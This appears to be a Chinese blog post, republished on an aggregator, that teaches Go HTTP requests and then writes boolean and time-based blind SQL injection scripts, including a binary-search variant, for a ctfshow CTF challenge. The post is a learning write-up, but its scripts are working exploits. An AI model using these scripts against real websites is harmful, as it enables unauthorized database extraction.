GO的sql注入盲注脚本

news2024/11/24 14:37:17

之间学习了go的语法 这里就开始go的爬虫

与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本

发现不是那么简单 这里开始研究一下

首先是请求网站

这里貌似很简单

package main

import (
	"fmt"
	"net/http"
)

func main() {
	res, err := http.Get("https://www.baidu.com/")
	fmt.Println(res, err)
}
&{200 OK 200 HTTP/1.1 1 1 map[Content-Type:[application/x-gzip] Date:[Thu, 14 Dec 2023 06:31:16 GMT] Server:[bfe]] 0xc0001a0020 -1 [] false true map[] 0xc000136000 0xc000118370} <nil>

发现这里是一个地址

 然后就是读取源代码

package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
)

func main() {
	res, err := http.Get("https://www.baidu.com/")
	if err != nil {
		fmt.Println("connnect error")
		os.Exit(0)
	}
	body, err := io.ReadAll(res.Body)
	// fmt.Println(body)
	fmt.Println(string(body))
}

 这里再难一点

package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
)

func main() {
	var url string = "http://www.baidu.com/"
	download(url)

}
func download(url string) {
	client := &http.Client{} //这里是将 client作为http.clinet的结构体4
	res, _ := http.NewRequest("GET", url, nil)
	res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置hander
	resp, err := client.Do(res)
	if err != nil {
		fmt.Println("connect error")
		os.Exit(0)
	}
	defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消
	links, err := io.ReadAll(resp.Body)
	fmt.Println(string(links))
}

通过函数 然后发送请求

package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"strings"
)

func main() {
	var url string = "http://www.baidu.com/"
	download(url)

}
func download(url string) {
	client := &http.Client{} //这里是将 client作为http.clinet的结构体4
	res, _ := http.NewRequest("GET", url, nil)
	res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置hander
	resp, err := client.Do(res)
	if err != nil {
		fmt.Println("connect error")
		os.Exit(0)
	}
	defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消
	links, err := io.ReadAll(resp.Body)
	// fmt.Println(string(links))
	if strings.Contains(string(links), "百度一下") {
		fmt.Println("存在")
	} else {
		fmt.Println("不存在")
	}
}

然后这里开始尝试写一下盲注脚本

这里开始是bool脚本 题目是ctfshow 174

golang bool注入普通脚本

package main

import (
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var payload string = "1' and (ascii(substr((select database()),%v,1))=%v)-- +"
var flag string

func main() {

	var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="
	sqlin(url)
}
func sqlin(url1 string) {
	for i := 1; i < 200; i++ {
		for j := 0; j < 127; j++ {
			if j >= 50 {
				payload1 := fmt.Sprintf(payload, i, j)
				// fmt.Println(payload1)
				payload2 := url.QueryEscape(payload1)
				payload1 = url1 + payload2
				// fmt.Println(payload1)
				re := send(payload1)
				if check(re) {
					flag += string(j)
					fmt.Println(flag)
				}
			}
		}
	}
}

func send(url string) string {
	client := &http.Client{}
	res, _ := http.NewRequest("GET", url, nil)
	res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")
	resq, err := client.Do(res)
	if err != nil {
		fmt.Println("connect error")
		os.Exit(0)
	}
	defer resq.Body.Close()
	rest, err := io.ReadAll(resq.Body)
	res1 := string(rest)
	return res1
}

func check(test string) bool {
	if strings.Contains(test, "admin") {
		return true
	} else {
		return false
	}
}

很慢哦

二分法看看如何实现

golang bool注入二分法脚本

package main

import (
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
)

var payload string = "1' and (ascii(substr((select database()),%v,1))>%v)-- +"
var flag string

func main() {

	var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="
	sqlin(url)
}
func sqlin(url1 string) {
	for i := 1; i < 200; i++ {
		high := 127
		low := 37
		mid := (high + low) / 2
		// fmt.Println(mid)
		for high > low {
			payload1 := fmt.Sprintf(payload, i, mid)
			// fmt.Println(payload1)
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2
			// fmt.Println(payload1)
			re := send(payload1)
			if check(re) {
				low = mid + 1
			} else {
				high = mid
			}
			// fmt.Println(low, high)
			mid = (high + low) / 2
			if string(mid) == "%" {
				os.Exit(0)
			}

		}
		flag += string(mid)
		fmt.Println(flag)
	}
}

func send(url string) string {
	client := &http.Client{}
	res, _ := http.NewRequest("GET", url, nil)
	res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")
	resq, err := client.Do(res)
	if err != nil {
		fmt.Println("connect error")
		os.Exit(0)
	}
	defer resq.Body.Close()
	rest, err := io.ReadAll(resq.Body)
	res1 := string(rest)
	return res1
}

func check(test string) bool {
	if strings.Contains(test, "admin") {
		return true
	} else {
		return false
	}
}

能发现其实其他都是差不多的 只是修改了

if check(re) {
				low = mid + 1
			} else {
				high = mid
			}
			// fmt.Println(low, high)
			mid = (high + low) / 2
			if string(mid) == "%" {
				os.Exit(0)
			}

这一块 速度又起来了

下面想尝试一下时间注入

golang time注入二分法脚本

package main

import (
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"time"
)

var payload string = "1' and if((ascii(substr((select database()),%v,1))>%v),sleep(5),0)-- +"
var flag string

func main() {

	var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="
	sqlin(url)
}
func sqlin(url1 string) {
	for i := 1; i < 200; i++ {
		high := 127
		low := 37
		mid := (high + low) / 2
		// fmt.Println(mid)
		for high > low {
			payload1 := fmt.Sprintf(payload, i, mid)
			fmt.Println(payload1)
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2
			// fmt.Println(payload1)
			_, int123 := send(payload1)
			if check(int123) {
				low = mid + 1
			} else {
				high = mid
			}
			// fmt.Println(low, high)
			mid = (high + low) / 2
			if string(mid) == "%" {
				os.Exit(0)
			}

		}
		flag += string(mid)
		fmt.Println(flag)
	}
}

func send(url string) (string, int64) {
	client := &http.Client{}
	res, _ := http.NewRequest("GET", url, nil)
	res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")
	start := time.Now()
	resq, err := client.Do(res)
	if err != nil {
		fmt.Println("connect error")
		os.Exit(0)
	}
	defer resq.Body.Close()
	elapsed := time.Since(start).Milliseconds()
	rest, err := io.ReadAll(resq.Body)
	res1 := string(rest)

	return res1, elapsed
}

func check(test int64) bool {
	if test > 5000 {
		return true
	} else {
		return false
	}
}

这里是sql注入time的二分法但是我想进行优化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1312326.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++类和对象(3)

目录 再谈构造函数 构造函数体赋值 初始化列表 【注意】 explicit关键字 Static成员 概念 特性 友元 友元函数 友元类 内部类 概念 特性&#xff1a; 匿名对象 拷贝对象时的一些编译器优化 再谈构造函数 构造函数体赋值 在创建对象时&#xff0c;编译…

Python新手必备:掌握os.path模块的8个神奇函数

在Python编程中&#xff0c;os.path模块是一个非常重要的模块&#xff0c;它提供了用于处理文件路径和目录的函数。这些函数可帮助你执行各种文件和目录操作&#xff0c;例如文件检查、路径拼接、目录创建等。 本文将介绍os.path模块中最常用的8个内置函数&#xff0c;并附带丰…

GitHub帐户管理更改电子邮件

登录到您的 GitHub 帐户&#xff1a; 前往 GitHub 网站并使用您的凭据登录。 访问个人设置&#xff1a; 单击右上角的您的头像&#xff0c;然后选择“Settings”&#xff08;设置&#xff09;。 选择电子邮件选项卡&#xff1a; 在左侧边栏中选择“Emails”&#xff08;电子邮…

忘记了路由器的用户名和密码,怎么办?

注意&#xff1a;登录窗口会显示路由器型号&#xff0c;请务必确认是您自己路由器的界面。 解决方法 尝试输入登录密码 如果您的确忘了设置好的密码&#xff0c;就只能把路由器恢复出厂设置&#xff0c;没有超级密码。 恢复出厂前&#xff0c;不妨尝试输入可能的管理密码。一…

Python从门到精通(九):matploblib图形库

Matplotlib 是一个数字绘图库&#xff0c;可以绘制多种图形 绘制图形 曲线图 import matplotlib.pyplot as pltclass PltDemo:def __init__(self) -> None:# 数据self.squares [1, 4, 9, 16, 25]def init_ax(self):# flg&#xff1a;由生成的一系列绘图构建成的整体个图…

SpringBoot中敏感信息脱敏(一个注解搞定)

&#x1f4de;简介&#xff1a;一个注解快速搞定敏感数据脱敏&#xff0c;例如手机号、姓名、银行卡号、身份证号等 一、简述 数据脱敏&#xff1a;数据脱敏&#xff0c;指对某些敏感信息通过脱敏规则进行数据的变形&#xff0c;实现敏感隐私数据的可靠保护。这样就可以在开发…

Python Socket编程

Python Socket编程 文章目录 Python Socket编程1. 弄懂HTTP、Socket、TCP这几个概念五层网络模型 2. client和server实现通信Socket编程模式指南代码实现 3. socket实现聊天和多用户连接4. socket模拟http请求5. socket使用I/O多路复用模式模拟http请求 1. 弄懂HTTP、Socket、T…

基于node.js和Vue游戏商城系统设计

游戏商城系统是一个在线平台&#xff0c;旨在为用户提供购买和销售电子游戏、游戏内物品和其他相关服务。游戏商城系统的主要目标是为玩家提供一个方便、快捷、安全的购物环境&#xff0c;同时也为游戏开发商和发行商提供一个有效的销售渠道。通过这个平台&#xff0c;玩家可以…

【Spring Boot 】Spring Boot 常用配置总结

文章目录 前言1.多环境配置application.propertiesapplication.yaml 2.常用配置3.配置读取4.自定义配置 前言 在涉及项目开发时&#xff0c;通常我们会灵活地把一些配置项集中在一起&#xff0c;如果你的项目不是很大的情况下&#xff0c;那么通过配置文件集中不失为一个很好的…

Android studio 离线配置gradle

Gradle Distributions Gradle Distributions 查看gradle 文件夹下 gradle-wrapper.properties文件中的distributionUrl 版本号 然后在上边网站下载对应需要的gradle对应版本 下载后复制到 gradle wrapper文件下&#xff0c;同时修改 distributionUrl 指向本地文件 然后同步就…

ChatGPT热门项目

1.智能GPT 项目地址&#xff1a;智能GPT&#xff1a;你只要提供OpenAI的API Key&#xff0c;那么它就可以根据你设定的目标&#xff0c;采用Google搜索、浏览网站、执行脚本等方式 主要语言&#xff1a;Python 推荐理由&#xff1a;这是由开发者Significant Gravitas推出的项目…

每天一点python——day94

#每天一点Python——94 #面向对象的三大特征——封装 封装&#xff1a;隐藏内部细节&#xff0c;对外提供操作方式。【提高程序的安全性】 继承&#xff1a;在函数调用时&#xff0c;使用’形参名称值‘的方式进行传参&#xff0c;传递参数的顺序可以与定义时参数顺序不同【提高…

8086汇编程序:多位数码管动态扫描显示2023

实验目的 1.掌握8255A和8086CPU接口方法&#xff0c;掌握8255A的工作方式和编程原理。 2.掌握多位数码管动态扫描显示的工作原理和编程方法。 实验内容 设计8255A 与多位共阴极数码管接口电路&#xff0c;实现在四位LED共阴极数码管上显示数字2023 8255A工作在方式0基本输入输出…

做数据分析为何要学统计学(10)——什么是回归分析

​回归分析&#xff08;regression analysis)是量化两种或两种以上因素/变量间相互依赖关系的统计分析方法。回归分析根据因素的数量&#xff0c;分为一元回归和多元回归分析&#xff1b;按因素之间依赖关系的复杂程度&#xff0c;可分为线性回归分析和非线性回归分析。我们通过…

跑代码中遇到的错误合集(持续更新)

1.TypeError: dropout(): argument ‘input‘ (position 1) must be Tensor, not str 原因&#xff1a;dropout函数接收到的参数是一个字典类型(需手动设置其不要返回字典类型) 解决步骤: 1.根据代码定位到dropout函数 2.定位到函数中的参数 3.对给dropout函数参数赋值的函数的…

【C++练级之路】【Lv.4】类和对象(下)(初始化列表,友元,static成员,编译器的优化)

目录 一、再谈构造函数1.1 构造函数体赋值1.2 初始化列表1.3 explicit关键字 二、static成员2.1 概念2.2 特性 三、友元3.1 引入3.2 友元函数3.2.1 概念3.2.2 特性 3.3 友元类3.3.1 概念3.3.2 特性 四、内部类4.1 概念4.2 特性 五、匿名对象六、编译器的优化6.1 传参优化6.1.1 …

使用python做一个实用的工具,便捷的定位和操作文档

环境准备&#xff1a;totalcommander 我用的totalcommander&#xff0c;python脚本的快捷键也是在totalcommander中注册的&#xff0c;所以需要先在TC界面下&#xff0c;才能通过预定义的快捷键唤起 python 脚本。以下是我的 totalCommander界面&#xff0c;我定义的快捷键是 …

jrebel debug 启动不起来

idea更新之后jrebel debug模式启动不起来。 将下面的设置取消之后就可以了&#xff0c;希望能帮到你们… 被卡了两天… jrebel信息。 idea IntelliJ IDEA 2023.3.1 (Ultimate Edition) Build #IU-233.11799.300, built on December 12, 2023 Licensed to Alexandra Martin…

VHDL实验:基于有限状态机实现秒表

题目要求&#xff1a; 利用有限状态机实现实现一个具有启动、停止、清零功能的秒表&#xff0c;显示格式&#xff1a;分&#xff1a;秒&#xff1a;十分秒。启动、停止、清零由一个按键控制&#xff0c;按键按下时&#xff0c;功能按启动、停止、清零顺序循环。 思路分析&…

搭配环境—Python解释器

对于一些库&#xff0c;需要创建虚拟环境&#xff08;就是给你电脑创建一个虚拟的地方来存&#xff0c;这个虚拟的地方有很多&#xff0c;需要自己找&#xff09; 对于人脸识别项目存在 使用的这个解释器&#xff0c;其他解释器可以去envs找找